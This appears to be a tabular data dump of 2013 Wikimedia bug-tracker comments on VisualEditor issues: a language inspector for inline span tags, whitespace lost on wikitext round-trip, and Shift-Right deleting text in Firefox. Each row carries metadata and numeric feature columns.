207488,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Work on this has began, we will be using <span lang='xx' dir='yyy'> tags to start with and add functionality for broader usages in the future.",,,1372962330,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.806451612903226,0.967741935483871,"Work on this has began, we will be using <span lang='xx' dir='yyy'> tags to start with and add functionality for broader usages in the future."
207481,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"This would be a task for a language inspector, presumably? Marking as an enhancement - this might be something for Moriel if she is going to be working with us on language support.",,,1367293379,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,1,True,,,-9,,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,8.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,19.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,8.0,3.0,8.0,0.0,0.0,0.0,4.111111111111111,0.8611111111111112,"This would be a task for a language inspector, presumably? Marking as an enhancement - this might be something for Moriel if she is going to be working with us on language support."
207472,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Clarification: the bug report is about text within <div dir=""rtl""></div> being alienated. I'm not sure how we can intelligently not alienate text with such a direction override.",,,1367275242,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,4.575757575757576,0.9090909090909091,"Clarification: the bug report is about text within <div dir=""rtl""></div> being alienated. I'm not sure how we can intelligently not alienate text with such a direction override."
49712,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Ubuntu/Firefox
Go to http://en.wikipedia.org/wiki/Alfresco_%28software%29
At the end of a line, add a space and remove it
Click ""Save""
No changes should have happen, but there actually are changes, in the infobox:

| caption = Alfresco Share / Repository Browser <br/> (Community Edition)
became
| caption =Alfresco Share / Repository Browser <br></table> (Community Edition)

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1366964340,1367901947.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-hk3rab5lb2jvryjrgppj,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,23.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,4.0,18.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,3.705263157894737,0.6,"Ubuntu/Firefox
Go to URL
At the end of a line, add a space and remove it
Click ""Save""
No changes should have happen, but there actually are changes, in the infobox:

| caption = Alfresco Share / Repository Browser <br/> (Community Edition)
became
| caption =Alfresco Share / Repository Browser <br></table> (Community Edition)

--------------------------
**Version**: unspecified
**Severity**: major"
230834,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"(In reply to comment #10)
> http://en.wikipedia.org/wiki/Anne_Hendershott still shows the same symptoms.
> Is
> this fix not yet deployed?

Sorry, the meaning of ""VE-deploy-2013-05-13"" is meant to be pretty clear, but evidently isn't! It'll go out with 1.22wmf4, so on the English Wikipedia on 20 May.",,,1367901947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,18.0,2.0,2.0,4.0,0.0,0.0,2.0,2.0,5.0,0.0,9.0,0.0,2.0,16.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.087719298245614,0.7719298245614035,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE

Sorry, the meaning of ""VE-deploy-2013-05-13"" is meant to be pretty clear, but evidently isn't! It'll go out with 1.22wmf4, so on the English Wikipedia on 20 May."
230830,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,http://en.wikipedia.org/wiki/Anne_Hendershott still shows the same symptoms. Is this fix not yet deployed?,,,1367897162,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,URL still shows the same symptoms. Is this fix not yet deployed?
230826,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,We're now three bugs fixed into this stack. Closing. Others should be opened as other bugs.,,,1367871544,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8,0.85,We're now three bugs fixed into this stack. Closing. Others should be opened as other bugs.
230822,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,Related URL: https://gerrit.wikimedia.org/r/61919 (Gerrit Change I42daaf142e548e5b221ff0a52df0ad24ec6a4fd0),,,1367449312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I42daaf142e548e5b221ff0a52df0ad24ec6a4fd0)
230818,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"I tested the following 4 pages and am recording my findings here.  Once we go through the other pages, we should close this bug and create new bugs where necessary.

On the following two pages, I can reproduce in Firefox, but the edit is clean in Chrome.  So, this is definitely Firefox specific, not sure if it is JQuery-related or something else.

* http://en.wikipedia.org/wiki/Timeline_of_portable_computers
* http://en.wikipedia.org/wiki/Neritina_rubricata

On the following two pages, I can reproduce the spurious diffs in both Firefox and Chrome even though I didn't edit the relevant areas. I haven't looked at the diffs yet.  So, this is quite likely some kind of whitespace change in the DOM that VE sends Parsoid.

* http://en.wikipedia.org/wiki/Timeline_of_portable_computers -- It appears that the table is being marked as edited even though I didn't edit the table.

* http://en.wikipedia.org/wiki/Anne_Hendershott -- the list is being marked as edited because of some whitespace normalization when VE loads/saves the DOM.",,,1367075006,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,1.0,0.5,0.0,2.0,2.0,5.0,1.0,0.5,1.0,0.5,3.0,1.5,0.0,0.0,0.0,4.5,0.0,8.0,9.5,0.5,0.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,6.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.5,12.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,7.0,4.5,14.0,4.0,2.5,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,5.5,9.5,5.5,0.0,0.0,0.0,5.5,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,3.71505376344086,0.6075268817204301,"I tested the following 4 pages and am recording my findings here.  Once we go through the other pages, we should close this bug and create new bugs where necessary.

On the following two pages, I can reproduce in Firefox, but the edit is clean in Chrome.  So, this is definitely Firefox specific, not sure if it is JQuery-related or something else.

* URL
* URL

On the following two pages, I can reproduce the spurious diffs in both Firefox and Chrome even though I didn't edit the relevant areas. I haven't looked at the diffs yet.  So, this is quite likely some kind of whitespace change in the DOM that VE sends Parsoid.

* URL -- It appears that the table is being marked as edited even though I didn't edit the table.

* URL -- the list is being marked as edited because of some whitespace normalization when VE loads/saves the DOM."
230812,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"(In reply to comment #4)
> Do you mean all of the problem mentioned on this page are due to this bug?

Please open separate bug tickets for each bug in future. :-)",,,1366994200,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.9565217391304348,"(In reply to comment #4)
QUOTE

Please open separate bug tickets for each bug in future. :-)"
230807,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,I believe the whitespace changes are a separate issue. Reopening so that those don't get lost.,,,1366992962,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,11.0,11.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,I believe the whitespace changes are a separate issue. Reopening so that those don't get lost.
230801,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Do you mean all of the problem mentioned on this page are due to this bug?
Cheers!
Nicolas",,,1366992621,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.409090909090909,0.9090909090909091,"Do you mean all of the problem mentioned on this page are due to this bug?
Cheers!
Nicolas"
230793,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"This is an instance of the jQuery bug 47737 - marking as a duplicate.

*** This bug has been marked as a duplicate of bug 47737 ***",,,1366992520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.212121212121212,0.6060606060606061,"This is an instance of the jQuery bug 47737 - marking as a duplicate.

*** This bug has been marked as a duplicate of bug 47737 ***"
230787,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"http://en.wikipedia.org/wiki/Anne_Hendershott
http://ja.wikipedia.org/wiki/BMW_801
On the contrary, here spaces got inserted.

http://en.wikipedia.org/wiki/List_of_Mexican_telenovelas
* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever''
becomes
* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever

http://en.wikipedia.org/wiki/Sonic_the_Hedgehog_Vocal_Traxx:_Several_Wills
http://ja.wikipedia.org/wiki/%E6%9C%A8%E6%A2%A8%E3%82%AC%E3%82%A4%E3%83%89%E3%83%BB%E9%80%B1%E6%9C%AB%E3%81%AE%E9%81%94%E4%BA%BA
http://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%83%89%E3%82%B7%E3%83%A5%E3%83%A2%E3%82%AF%E3%82%B6%E3%83%A1
<br/> becomes <br></table>

http://en.wikipedia.org/wiki/Barunga,_Northern_Territory
| pop = 282 (2006 Census)<ref name=Census2006Y />
becomes
| pop =282 (2006 Census)<ref name=Census2006Y ></span>

http://en.wikipedia.org/wiki/Aerial_toll_house
whole references are duplicated

etc... using http://en.wikipedia.org/wiki/Special:Random and http://ja.wikipedia.org/wiki/%E7%89%B9%E5%88%A5:%E3%81%8A%E3%81%BE%E3%81%8B%E3%81%9B%E8%A1%A8%E7%A4%BA about half of the articles don't roundtrip.",,,1366966146,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,17.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,1.0,3.5,0.0,0.0,2.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.5693602693602697,0.5511784511784512,"URL
URL
On the contrary, here spaces got inserted.

URL
* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever''
becomes
* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever

URL
URL
URL
<br/> becomes <br></table>

URL
| pop = 282 (2006 Census)<ref name=Census2006Y />
becomes
| pop =282 (2006 Census)<ref name=Census2006Y ></span>

URL
whole references are duplicated

etc... using URL and URL about half of the articles don't roundtrip."
230782,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Other faulty roundtrips:

http://en.wikipedia.org/wiki/Neritina_rubricata
Removes space at end of line

http://en.wikipedia.org/wiki/Timeline_of_portable_computers
--> || becomes -->||

Should I continue reporting space removals like these 2 ones?
Or are these spaces removed on purpose?",,,1366964740,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.857142857142857,0.8095238095238095,"Other faulty roundtrips:

URL
Removes space at end of line

URL
--> || becomes -->||

Should I continue reporting space removals like these 2 ones?
Or are these spaces removed on purpose?"
49711,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Edit an article
Press down your keyboard's SHIFT key
While maintaining SHIFT pressed, press the RIGHT key a few times

EXPECTED: Characters are selected
ACTUALLY: Characters are deleted

Ubuntu/Firefox

Looks like https://bugzilla.wikimedia.org/show_bug.cgi?id=41062 which had been fixed in October.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366963620,1367286853.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-czooq62xjeisscbrllhg,task_description,resolved,True,c1,1,False,False,True,-10,,1.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,25.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,6.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.217391304347826,0.6956521739130435,"Edit an article
Press down your keyboard's SHIFT key
While maintaining SHIFT pressed, press the RIGHT key a few times

EXPECTED: Characters are selected
ACTUALLY: Characters are deleted

Ubuntu/Firefox

Looks like URL which had been fixed in October.

--------------------------
**Version**: unspecified
**Severity**: normal"
230744,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"(In reply to comment #8)
> Still actin' crazy: firefox 20.0, linux.  I hard-refreshed just in case.

You may have hard-refreshed, but you didn't wait for the deployment train which was only three hours ago. :-) Sorry for not mentioning that it's ""fixed pending deploy"" (it'd be great if Bugzilla had that as a status).

Can confirm that it's now fixed in live in Firefox 20.0/Mac.",,,1367286853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,5.0,3.0,0.0,1.0,0.0,0.0,1.0,8.0,13.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,4.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,11.0,4.0,1.0,5.0,0.0,1.0,0.0,1.0,7.0,1.0,4.0,0.0,7.0,13.0,5.0,0.0,3.0,0.0,7.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.4210526315789473,0.8289473684210527,"(In reply to comment #8)
QUOTE

You may have hard-refreshed, but you didn't wait for the deployment train which was only three hours ago. :-) Sorry for not mentioning that it's ""fixed pending deploy"" (it'd be great if Bugzilla had that as a status).

Can confirm that it's now fixed in live in Firefox 20.0/Mac."
230734,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,This bug is currently fixed in master. It is going to be live on Wikipedia by Wednesday next week. In the meantime it is possible to test on mediawiki.org. However currently (for another 2-3 hours) VE on mediawiki.org is completly broken for FF.,,,1367281288,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,20.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.980392156862745,0.7647058823529411,This bug is currently fixed in master. It is going to be live on Wikipedia by Wednesday next week. In the meantime it is possible to test on mediawiki.org. However currently (for another 2-3 hours) VE on mediawiki.org is completly broken for FF.
230726,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"It would be worthwhile to mention the bug 47795 here, with similar nature of problem.",,,1367223121,,PHID-USER-d3oiyxwdmebcjszfff7w,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,1.0,"It would be worthwhile to mention the bug 47795 here, with similar nature of problem."
230718,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Sorry, comment #10 has been split off into bug 47817.",,,1367217111,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,"Sorry, comment #10 has been split off into bug 47817."
230713,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Okay, the turd was a separate bug:

1. Edit a page with an unordered list.

2. Delete all the text on the last line.

3. Press the <delete key>. The bullet should be erased.  Instead, it will remain and the cursor will move to the end of the previous line.

4. down-arrow

5. down-arrow off of the empty line.

Turd appears in the empty line.

